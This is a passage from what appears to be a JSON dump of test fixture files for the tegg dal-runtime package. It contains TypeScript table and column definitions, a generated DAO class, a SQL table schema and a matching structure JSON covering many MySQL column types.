ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n    // SRID: 4326,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n    // SRID: 4326,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n    // SRID: 4326,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n    // SRID: 4326,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n    // SRID: 4326,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n    // SRID: 4326,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n    // SRID: 4326,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n    // SRID: 4326,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/FooIndexName.ts",
    "content": "import { Column, ColumnType, Index, IndexStoreType, IndexType, Table } from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n})\n@Index({\n  keys: ['name', 'col1', 'bitColumn'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n})\n@Index({\n  keys: ['col1', 'boolColumn'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n})\nexport class FooIndexName {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/dal/dao/FooDAO.ts",
    "content": "import { SingletonProto, AccessLevel } from '@eggjs/core-decorator';\n\nimport { BaseFooDAO } from './base/BaseFooDAO.js';\n\n/**\n * FooDAO 类\n * @class FooDAO\n * @classdesc 在此扩展关于 Foo 数据的一切操作\n * @extends BaseFooDAO\n */\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class FooDAO extends BaseFooDAO {}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/dal/dao/base/BaseFooDAO.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nimport { Inject, ModuleQualifier } from '@eggjs/core-decorator';\nimport { Dao, DataSource, DataSourceInjectName, DataSourceQualifier } from '@eggjs/dal-decorator';\nimport type { InsertResult, UpdateResult, DeleteResult } from '@eggjs/rds/lib/types.js';\n\nimport { Foo } from '../../../../generate_codes/Foo.js';\nimport FooExtension from '../../extension/FooExtension.js';\nimport Structure from '../../structure/Foo.json' with { type: 'json' };\n\nconst SQL = Symbol('Dao#sql');\n\ntype Optional<T, K extends keyof T> = Omit<T, K> & Partial<T>;\n/**\n * 自动生成的 FooDAO 基类\n * @class BaseFooDAO\n * @classdesc 该文件由 @eggjs/tegg 自动生成，请**不要**修改它！\n */\n/* istanbul ignore next */\n@Dao()\nexport class BaseFooDAO {\n  @Inject({\n    name: DataSourceInjectName,\n  })\n  static clazzExtension = FooExtension;\n  static clazzModel = Foo;\n  static tableStature = Structure;\n  static get tableSql() {\n    if (!this[SQL]) {\n      this[SQL] = fs.readFileSync(path.join(__dirname, '../../structure/Foo.sql'), 'utf8');\n    }\n    return this[SQL];\n  }\n  @ModuleQualifier('dal')\n  @DataSourceQualifier('default.Foo')\n  protected readonly dataSource: DataSource<Foo>;\n\n  public async insert(raw: Optional<Foo, 'id'>): Promise<InsertResult> {\n    const data: Record<string, any> = {};\n    let tmp;\n\n    tmp = raw.id;\n    if (tmp !== undefined) {\n      data.$id = tmp;\n    }\n\n    tmp = raw.name;\n    if (tmp !== undefined) {\n      data.$name = tmp;\n    }\n\n    tmp = raw.col1;\n    if (tmp !== undefined) {\n      data.$col1 = tmp;\n    }\n\n    tmp = raw.bitColumn;\n    if (tmp !== undefined) {\n      data.$bitColumn = tmp;\n    }\n\n    tmp = raw.boolColumn;\n    if (tmp !== undefined) {\n      data.$boolColumn = tmp;\n    }\n\n    tmp = raw.tinyIntColumn;\n    if (tmp !== undefined) {\n      data.$tinyIntColumn = tmp;\n    }\n\n    tmp = raw.smallIntColumn;\n    if (tmp !== undefined) {\n      data.$smallIntColumn = tmp;\n    }\n\n    tmp = raw.mediumIntColumn;\n    if (tmp !== undefined) {\n      data.$mediumIntColumn = tmp;\n    }\n\n    tmp = raw.intColumn;\n    if (tmp !== undefined) {\n      data.$intColumn = tmp;\n    }\n\n    tmp = raw.bigIntColumn;\n    if (tmp !== undefined) {\n      data.$bigIntColumn = tmp;\n    }\n\n    tmp = raw.decimalColumn;\n    if (tmp !== undefined) {\n      data.$decimalColumn = tmp;\n    }\n\n    tmp = raw.floatColumn;\n    if (tmp !== undefined) {\n      data.$floatColumn = tmp;\n    }\n\n    tmp = raw.doubleColumn;\n    if (tmp !== undefined) {\n      data.$doubleColumn = tmp;\n    }\n\n    tmp = raw.dateColumn;\n    if (tmp !== undefined) {\n      data.$dateColumn = tmp;\n    }\n\n    tmp = raw.dateTimeColumn;\n    if (tmp !== undefined) {\n      data.$dateTimeColumn = tmp;\n    }\n\n    tmp = raw.timestampColumn;\n    if (tmp !== undefined) {\n      data.$timestampColumn = tmp;\n    }\n\n    tmp = raw.timeColumn;\n    if (tmp !== undefined) {\n      data.$timeColumn = tmp;\n    }\n\n    tmp = raw.yearColumn;\n    if (tmp !== undefined) {\n      data.$yearColumn = tmp;\n    }\n\n    tmp = raw.varCharColumn;\n    if (tmp !== undefined) {\n      data.$varCharColumn = tmp;\n    }\n\n    tmp = raw.binaryColumn;\n    if (tmp !== undefined) {\n      data.$binaryColumn = tmp;\n    }\n\n    tmp = raw.varBinaryColumn;\n    if (tmp !== undefined) {\n      data.$varBinaryColumn = tmp;\n    }\n\n    tmp = raw.tinyBlobColumn;\n    if (tmp !== undefined) {\n      data.$tinyBlobColumn = tmp;\n    }\n\n    tmp = raw.tinyTextColumn;\n    if (tmp !== undefined) {\n      data.$tinyTextColumn = tmp;\n    }\n\n    tmp = raw.blobColumn;\n    if (tmp !== undefined) {\n      data.$blobColumn = tmp;\n    }\n\n    tmp = raw.textColumn;\n    if (tmp !== undefined) {\n      data.$textColumn = tmp;\n    }\n\n    tmp = raw.mediumBlobColumn;\n    if (tmp !== undefined) {\n      data.$mediumBlobColumn = tmp;\n    }\n\n    tmp = raw.longBlobColumn;\n    if (tmp !== undefined) {\n      data.$longBlobColumn = tmp;\n    }\n\n    tmp = raw.mediumTextColumn;\n    if (tmp !== undefined) {\n      data.$mediumTextColumn = tmp;\n    }\n\n    tmp = raw.longTextColumn;\n    if (tmp !== undefined) {\n      data.$longTextColumn = tmp;\n    }\n\n    tmp = raw.enumColumn;\n    if (tmp !== undefined) {\n      data.$enumColumn = tmp;\n    }\n\n    tmp = raw.setColumn;\n    if (tmp !== undefined) {\n      data.$setColumn = tmp;\n    }\n\n    tmp = raw.geometryColumn;\n    if (tmp !== undefined) {\n      data.$geometryColumn = tmp;\n    }\n\n    tmp = raw.pointColumn;\n    if (tmp !== undefined) {\n      data.$pointColumn = tmp;\n    }\n\n    tmp = raw.lineStringColumn;\n    if (tmp !== undefined) {\n      data.$lineStringColumn = tmp;\n    }\n\n    tmp = raw.polygonColumn;\n    if (tmp !== undefined) {\n      data.$polygonColumn = tmp;\n    }\n\n    tmp = raw.multipointColumn;\n    if (tmp !== undefined) {\n      data.$multipointColumn = tmp;\n    }\n\n    tmp = raw.multiLineStringColumn;\n    if (tmp !== undefined) {\n      data.$multiLineStringColumn = tmp;\n    }\n\n    tmp = raw.multiPolygonColumn;\n    if (tmp !== undefined) {\n      data.$multiPolygonColumn = tmp;\n    }\n\n    tmp = raw.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      data.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = raw.jsonColumn;\n    if (tmp !== undefined) {\n      data.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('insert', data);\n  }\n\n  public async update(id: number, data: Partial<Foo>): Promise<UpdateResult> {\n    const newData: Record<string, any> = {\n      primary: {\n        id,\n      },\n    };\n    let tmp;\n\n    tmp = data.id;\n    if (tmp !== undefined) {\n      newData.$id = tmp;\n    }\n\n    tmp = data.name;\n    if (tmp !== undefined) {\n      newData.$name = tmp;\n    }\n\n    tmp = data.col1;\n    if (tmp !== undefined) {\n      newData.$col1 = tmp;\n    }\n\n    tmp = data.bitColumn;\n    if (tmp !== undefined) {\n      newData.$bitColumn = tmp;\n    }\n\n    tmp = data.boolColumn;\n    if (tmp !== undefined) {\n      newData.$boolColumn = tmp;\n    }\n\n    tmp = data.tinyIntColumn;\n    if (tmp !== undefined) {\n      newData.$tinyIntColumn = tmp;\n    }\n\n    tmp = data.smallIntColumn;\n    if (tmp !== undefined) {\n      newData.$smallIntColumn = tmp;\n    }\n\n    tmp = data.mediumIntColumn;\n    if (tmp !== undefined) {\n      newData.$mediumIntColumn = tmp;\n    }\n\n    tmp = data.intColumn;\n    if (tmp !== undefined) {\n      newData.$intColumn = tmp;\n    }\n\n    tmp = data.bigIntColumn;\n    if (tmp !== undefined) {\n      newData.$bigIntColumn = tmp;\n    }\n\n    tmp = data.decimalColumn;\n    if (tmp !== undefined) {\n      newData.$decimalColumn = tmp;\n    }\n\n    tmp = data.floatColumn;\n    if (tmp !== undefined) {\n      newData.$floatColumn = tmp;\n    }\n\n    tmp = data.doubleColumn;\n    if (tmp !== undefined) {\n      newData.$doubleColumn = tmp;\n    }\n\n    tmp = data.dateColumn;\n    if (tmp !== undefined) {\n      newData.$dateColumn = tmp;\n    }\n\n    tmp = data.dateTimeColumn;\n    if (tmp !== undefined) {\n      newData.$dateTimeColumn = tmp;\n    }\n\n    tmp = data.timestampColumn;\n    if (tmp !== undefined) {\n      newData.$timestampColumn = tmp;\n    }\n\n    tmp = data.timeColumn;\n    if (tmp !== undefined) {\n      newData.$timeColumn = tmp;\n    }\n\n    tmp = data.yearColumn;\n    if (tmp !== undefined) {\n      newData.$yearColumn = tmp;\n    }\n\n    tmp = data.varCharColumn;\n    if (tmp !== undefined) {\n      newData.$varCharColumn = tmp;\n    }\n\n    tmp = data.binaryColumn;\n    if (tmp !== undefined) {\n      newData.$binaryColumn = tmp;\n    }\n\n    tmp = data.varBinaryColumn;\n    if (tmp !== undefined) {\n      newData.$varBinaryColumn = tmp;\n    }\n\n    tmp = data.tinyBlobColumn;\n    if (tmp !== undefined) {\n      newData.$tinyBlobColumn = tmp;\n    }\n\n    tmp = data.tinyTextColumn;\n    if (tmp !== undefined) {\n      newData.$tinyTextColumn = tmp;\n    }\n\n    tmp = data.blobColumn;\n    if (tmp !== undefined) {\n      newData.$blobColumn = tmp;\n    }\n\n    tmp = data.textColumn;\n    if (tmp !== undefined) {\n      newData.$textColumn = tmp;\n    }\n\n    tmp = data.mediumBlobColumn;\n    if (tmp !== undefined) {\n      newData.$mediumBlobColumn = tmp;\n    }\n\n    tmp = data.longBlobColumn;\n    if (tmp !== undefined) {\n      newData.$longBlobColumn = tmp;\n    }\n\n    tmp = data.mediumTextColumn;\n    if (tmp !== undefined) {\n      newData.$mediumTextColumn = tmp;\n    }\n\n    tmp = data.longTextColumn;\n    if (tmp !== undefined) {\n      newData.$longTextColumn = tmp;\n    }\n\n    tmp = data.enumColumn;\n    if (tmp !== undefined) {\n      newData.$enumColumn = tmp;\n    }\n\n    tmp = data.setColumn;\n    if (tmp !== undefined) {\n      newData.$setColumn = tmp;\n    }\n\n    tmp = data.geometryColumn;\n    if (tmp !== undefined) {\n      newData.$geometryColumn = tmp;\n    }\n\n    tmp = data.pointColumn;\n    if (tmp !== undefined) {\n      newData.$pointColumn = tmp;\n    }\n\n    tmp = data.lineStringColumn;\n    if (tmp !== undefined) {\n      newData.$lineStringColumn = tmp;\n    }\n\n    tmp = data.polygonColumn;\n    if (tmp !== undefined) {\n      newData.$polygonColumn = tmp;\n    }\n\n    tmp = data.multipointColumn;\n    if (tmp !== undefined) {\n      newData.$multipointColumn = tmp;\n    }\n\n    tmp = data.multiLineStringColumn;\n    if (tmp !== undefined) {\n      newData.$multiLineStringColumn = tmp;\n    }\n\n    tmp = data.multiPolygonColumn;\n    if (tmp !== undefined) {\n      newData.$multiPolygonColumn = tmp;\n    }\n\n    tmp = data.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      newData.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = data.jsonColumn;\n    if (tmp !== undefined) {\n      newData.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('update', newData);\n  }\n\n  public async delete(id: number): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async del(id: number): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async findByCol1($col1: string): Promise<Foo[]> {\n    return this.dataSource.execute('findByCol1', {\n      $col1,\n    });\n  }\n\n  public async findOneByCol1($col1: string): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByCol1', {\n      $col1,\n    });\n  }\n\n  public async findByUkNameCol1($name: string, $col1: string): Promise<Foo[]> {\n    return this.dataSource.execute('findByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findOneByUkNameCol1($name: string, $col1: string): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findById($id: number): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n\n  public async findByPrimary($id: number): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/dal/extension/FooExtension.ts",
    "content": "import { SqlMap, SqlType } from '@eggjs/dal-decorator';\n\nexport default {\n  findAll: {\n    type: SqlType.SELECT,\n    sql: 'SELECT {{ allColumns}} from egg_foo;',\n  },\n} as Record<string, SqlMap>;\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/dal/structure/Foo.json",
    "content": "{\n  \"name\": \"egg_foo\",\n  \"dataSourceName\": \"default\",\n  \"columns\": [\n    {\n      \"columnName\": \"id\",\n      \"propertyName\": \"id\",\n      \"type\": {\n        \"type\": \"INT\"\n      },\n      \"canNull\": false,\n      \"comment\": \"the primary key\",\n      \"autoIncrement\": true,\n      \"primaryKey\": true\n    },\n    {\n      \"columnName\": \"name\",\n      \"propertyName\": \"name\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true,\n      \"uniqueKey\": true\n    },\n    {\n      \"columnName\": \"col1\",\n      \"propertyName\": \"col1\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bit_column\",\n      \"propertyName\": \"bitColumn\",\n      \"type\": {\n        \"type\": \"BIT\",\n        \"length\": 10\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bool_column\",\n      \"propertyName\": \"boolColumn\",\n      \"type\": {\n        \"type\": \"BOOL\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_int_column\",\n      \"propertyName\": \"tinyIntColumn\",\n      \"type\": {\n        \"type\": \"TINYINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"small_int_column\",\n      \"propertyName\": \"smallIntColumn\",\n      \"type\": {\n        \"type\": \"SMALLINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_int_column\",\n      \"propertyName\": \"mediumIntColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"int_column\",\n      \"propertyName\": \"intColumn\",\n      \"type\": {\n        \"type\": \"INT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"big_int_column\",\n      \"propertyName\": \"bigIntColumn\",\n      \"type\": {\n        \"type\": \"BIGINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"decimal_column\",\n      \"propertyName\": \"decimalColumn\",\n      \"type\": {\n        \"type\": \"DECIMAL\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"float_column\",\n      \"propertyName\": \"floatColumn\",\n      \"type\": {\n        \"type\": \"FLOAT\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"double_column\",\n      \"propertyName\": \"doubleColumn\",\n      \"type\": {\n        \"type\": \"DOUBLE\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_column\",\n      \"propertyName\": \"dateColumn\",\n      \"type\": {\n        \"type\": \"DATE\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_time_column\",\n      \"propertyName\": \"dateTimeColumn\",\n      \"type\": {\n        \"type\": \"DATETIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"timestamp_column\",\n      \"propertyName\": \"timestampColumn\",\n      \"type\": {\n        \"type\": \"TIMESTAMP\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"time_column\",\n      \"propertyName\": \"timeColumn\",\n      \"type\": {\n        \"type\": \"TIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"year_column\",\n      \"propertyName\": \"yearColumn\",\n      \"type\": {\n        \"type\": \"YEAR\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_char_column\",\n      \"propertyName\": \"varCharColumn\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"binary_column\",\n      \"propertyName\": \"binaryColumn\",\n      \"type\": {\n        \"type\": \"BINARY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_binary_column\",\n      \"propertyName\": \"varBinaryColumn\",\n      \"type\": {\n        \"type\": \"VARBINARY\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_blob_column\",\n      \"propertyName\": \"tinyBlobColumn\",\n      \"type\": {\n        \"type\": \"TINYBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_text_column\",\n      \"propertyName\": \"tinyTextColumn\",\n      \"type\": {\n        \"type\": \"TINYTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"blob_column\",\n      \"propertyName\": \"blobColumn\",\n      \"type\": {\n        \"type\": \"BLOB\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"text_column\",\n      \"propertyName\": \"textColumn\",\n      \"type\": {\n        \"type\": \"TEXT\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_blob_column\",\n      \"propertyName\": \"mediumBlobColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_blob_column\",\n      \"propertyName\": \"longBlobColumn\",\n      \"type\": {\n        \"type\": \"LONGBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_text_column\",\n      \"propertyName\": \"mediumTextColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_text_column\",\n      \"propertyName\": \"longTextColumn\",\n      \"type\": {\n        \"type\": \"LONGTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"enum_column\",\n      \"propertyName\": \"enumColumn\",\n      \"type\": {\n        \"type\": \"ENUM\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"set_column\",\n      \"propertyName\": \"setColumn\",\n      \"type\": {\n        \"type\": \"SET\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_column\",\n      \"propertyName\": \"geometryColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"point_column\",\n      \"propertyName\": \"pointColumn\",\n      \"type\": {\n        \"type\": \"POINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"line_string_column\",\n      \"propertyName\": \"lineStringColumn\",\n      \"type\": {\n        \"type\": \"LINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"polygon_column\",\n      \"propertyName\": \"polygonColumn\",\n      \"type\": {\n        \"type\": \"POLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multipoint_column\",\n      \"propertyName\": \"multipointColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_line_string_column\",\n      \"propertyName\": \"multiLineStringColumn\",\n      \"type\": {\n        \"type\": \"MULTILINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_polygon_column\",\n      \"propertyName\": \"multiPolygonColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_collection_column\",\n      \"propertyName\": \"geometryCollectionColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRYCOLLECTION\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"json_column\",\n      \"propertyName\": \"jsonColumn\",\n      \"type\": {\n        \"type\": \"JSON\"\n      },\n      \"canNull\": true\n    }\n  ],\n  \"indices\": [\n    {\n      \"name\": \"idx_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"FULLTEXT\",\n      \"comment\": \"index comment\\n\"\n    },\n    {\n      \"name\": \"uk_name_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"name\",\n          \"columnName\": \"name\"\n        },\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"UNIQUE\",\n      \"storeType\": \"BTREE\",\n      \"comment\": \"index comment\\n\"\n    }\n  ],\n  \"comment\": \"foo table\",\n  \"characterSet\": \"utf8mb4\",\n  \"collate\": \"utf8mb4_unicode_ci\"\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/dal/structure/Foo.sql",
    "content": "CREATE TABLE IF NOT EXISTS egg_foo (\n  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\n  name VARCHAR(100) NULL UNIQUE KEY,\n  col1 VARCHAR(100) NULL,\n  bit_column BIT(10) NULL,\n  bool_column BOOL NULL,\n  tiny_int_column TINYINT(5) UNSIGNED ZEROFILL NULL,\n  small_int_column SMALLINT(5) UNSIGNED ZEROFILL NULL,\n  medium_int_column MEDIUMINT(5) UNSIGNED ZEROFILL NULL,\n  int_column INT(5) UNSIGNED ZEROFILL NULL,\n  big_int_column BIGINT(5) UNSIGNED ZEROFILL NULL,\n  decimal_column DECIMAL(10,5) UNSIGNED ZEROFILL NULL,\n  float_column FLOAT(10,5) UNSIGNED ZEROFILL NULL,\n  double_column DOUBLE(10,5) UNSIGNED ZEROFILL NULL,\n  date_column DATE NULL,\n  date_time_column DATETIME(3) NULL,\n  timestamp_column TIMESTAMP(3) NULL,\n  time_column TIME(3) NULL,\n  year_column YEAR NULL,\n  var_char_column VARCHAR(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  binary_column BINARY NULL,\n  var_binary_column VARBINARY(100) NULL,\n  tiny_blob_column TINYBLOB NULL,\n  tiny_text_column TINYTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  blob_column BLOB(100) NULL,\n  text_column TEXT(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  medium_blob_column MEDIUMBLOB NULL,\n  long_blob_column LONGBLOB NULL,\n  medium_text_column MEDIUMTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  long_text_column LONGTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  enum_column ENUM('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  set_column SET('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  geometry_column GEOMETRY NULL,\n  point_column POINT NULL,\n  line_string_column LINESTRING NULL,\n  polygon_column POLYGON NULL,\n  multipoint_column MULTIPOINT NULL,\n  multi_line_string_column MULTILINESTRING NULL,\n  multi_polygon_column MULTIPOLYGON NULL,\n  geometry_collection_column GEOMETRYCOLLECTION NULL,\n  json_column JSON NULL,\n  FULLTEXT KEY idx_col1 (col1) COMMENT 'index comment\\n',\n  UNIQUE KEY uk_name_col1 (name,col1) USING BTREE COMMENT 'index comment\\n'\n) DEFAULT CHARACTER SET utf8mb4, DEFAULT COLLATE utf8mb4_unicode_ci, COMMENT='foo table';"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes/Foo.ts",
